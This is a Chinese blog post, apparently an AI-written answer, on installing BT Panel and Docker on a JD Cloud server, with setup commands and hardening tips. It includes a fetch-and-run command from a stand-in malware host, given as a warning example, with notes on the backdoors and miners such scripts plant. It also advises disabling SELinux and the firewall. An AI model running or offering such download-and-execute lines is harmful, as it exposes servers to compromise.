京东云服务器安装完系统后,怎样一键部署Docker和宝塔?

在京东云(JD Cloud)服务器上安装完系统(如 CentOS 7/8、Ubuntu 20.04/22.04 等)后,无法真正实现“一键”同时安全、稳定、兼容地部署 Docker + 宝塔面板(BT Panel),原因如下:

⚠️ 重要前提提醒:

  • 宝塔面板官方明确不推荐与 Docker 共存于同一台生产服务器,尤其当宝塔用于管理网站/Nginx/MySQL等服务时,Docker 容器可能占用相同端口(如 80/443/3306)、修改 iptables/firewalld 规则,导致冲突或安全风险。
  • 宝塔的“Docker 管理插件”功能较弱(仅基础容器启停),远不如原生 docker cli 或 Portainer;且该插件需手动安装,非默认组件。
  • “一键脚本”若来自非官方渠道(如第三方 GitHub 脚本),存在高危风险(植入X_X程序、后门、恶意 cron、窃取密钥等),京东云用户已多次反馈此类问题。

✅ 正确、安全、可维护的推荐方案:


✅ 方案一:【推荐】先装宝塔,再按需安装 Docker(隔离使用)

适用于:以宝塔为主控 Web 环境,偶尔用 Docker 运行独立服务(如 Redis、MinIO、Portainer)

步骤(以 CentOS 7/8 或 Ubuntu 22.04 为例):

# 1. 更新系统 & 关闭 SELinux(CentOS)或 UFW(Ubuntu)
# CentOS:
sudo setenforce 0 && sudo sed -i 's/^SELINUX=.*/SELINUX=disabled/' /etc/selinux/config
sudo systemctl stop firewalld && sudo systemctl disable firewalld

# Ubuntu:
sudo ufw disable

# 2. 一键安装宝塔(官方最新稳定版)
curl -sSO http://download.bt.cn/install/install_6.0.sh && sudo bash install_6.0.sh

# ⏳ 安装完成后,终端会输出:
#   网络面板地址: http://你的公网IP:8888
#   用户名: xxx, 密码: xxx (请妥善保存!)

# 3. 登录宝塔面板 → 【软件商店】→ 搜索并安装:
#    ✅ Nginx / Apache(选其一)
#    ✅ MySQL / MariaDB
#    ✅ PHP(如 8.0+)
#    ✅ Pure-Ftpd(可选)

# 4. 【安全】放行宝塔端口(8888)及网站端口(80/443):
#    在京东云控制台 → 实例安全组 → 添加入方向规则:
#      端口:8888, 80, 443, 21(FTP)等
#    ❌ 不要开放 22(SSH)给全网,建议限制为你的 IP

# 5. 手动安装 Docker(官方方式,安全可靠)
#    参考 Docker 官方文档(自动适配系统):
curl -fsSL https://get.docker.com | sh
sudo systemctl enable docker
sudo systemctl start docker

# 验证:
sudo docker run --rm hello-world  # 应输出欢迎信息

# 6. 【可选】安装 Portainer(可视化管理 Docker)
sudo docker volume create portainer_data
sudo docker run -d 
  -p 9000:9000 
  -p 9443:9443 
  --name portainer 
  --restart=always 
  -v /var/run/docker.sock:/var/run/docker.sock 
  -v portainer_data:/data 
  portainer/portainer-ce:latest

# 访问:https://你的公网IP:9443(首次需设置管理员密码)

✅ 优势:宝塔负责 Web 服务编排,Docker 运行无端口冲突的独立服务(如数据库备份工具、监控 Agent、静态站点),互不干扰。


✅ 方案二:【更推荐】放弃宝塔,纯 Docker 化(现代化运维)

适用于:有基础 Linux/Docker 经验,追求轻量、安全、可复现、CI/CD 友好

# 1. 安装 Docker + Docker Compose(v2)
curl -fsSL https://get.docker.com | sh
sudo systemctl enable docker && sudo systemctl start docker
sudo curl -L "https://github.com/docker/compose/releases/download/v2.24.5/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

# 2. 用 docker-compose 一键部署 LNMP 环境(替代宝塔)
mkdir ~/lnmp && cd ~/lnmp
curl -O https://raw.githubusercontent.com/nginx-proxy/nginx-proxy/master/docker-compose.yml
# 或使用更简洁的:https://github.com/laradock/laradock(PHP 开发)  
# 或:https://github.com/jwilder/nginx-proxy(反向X_X)

# 3. 启动:
docker-compose up -d

# 4. 域名解析 + HTTPS(用 nginx-proxy + letsencrypt-nginx-proxy-companion 自动签发)

✅ 优势:零宝塔依赖、资源占用低、配置版本化(Git 管理)、易于迁移/扩缩容,符合云原生最佳实践。


❌ 务必避免的“伪一键脚本”示例(危险!):

# 危险示例(切勿执行!):
wget http://xxx-malware-site.com/bt-docker-all-in-one.sh && bash bt-docker-all-in-one.sh
# 此类脚本常做:
#   - 修改 root 密码并外传
#   - 下载并运行加密货币X_X程序(占用 100% CPU)
#   - 添加隐蔽的 SSH 后门用户
#   - 替换 crontab 定期拉取恶意 payload

🔐 安全加固建议(京东云必备):

  1. SSH 加固
    sudo sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
    sudo sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config  # 修改端口
    sudo systemctl restart sshd
  2. 京东云安全组:只放行必要端口(80/443/8888/9443/2222),源 IP 严格限制。
  3. 定期更新
    sudo yum update -y(CentOS)或 sudo apt update && sudo apt upgrade -y(Ubuntu)
  4. 备份:宝塔自带【数据备份】功能;Docker 数据卷用 docker volume backup 或 rsync 定期快照。

✅ 总结:
| 目标 | 推荐做法 |
|———————|—————————————|
| 快速建站 + 图形化管理 | ✅ 宝塔 + 手动装 Docker(隔离用途) |
| 生产环境 + 长期运维 | ✅ 纯 Docker Compose(弃用宝塔) |
| 学习/测试 | ✅ 宝塔 + Docker(但禁用宝塔内置 Docker 插件) |

如需我为你生成:

  • ✅ 定制化 docker-compose.yml(LNMP/LAMP)
  • ✅ 宝塔 + Docker 共存的端口避让配置(如 Docker 改用 8080 映射)
  • ✅ 京东云安全组规则 JSON 模板
    欢迎随时告诉我你的系统版本(cat /etc/os-release)和具体需求 👇

安全第一,稳扎稳打才是云上长久之道。

未经允许不得转载:CCLOUD博客 » 京东云服务器安装完系统后,怎样一键部署Docker和宝塔?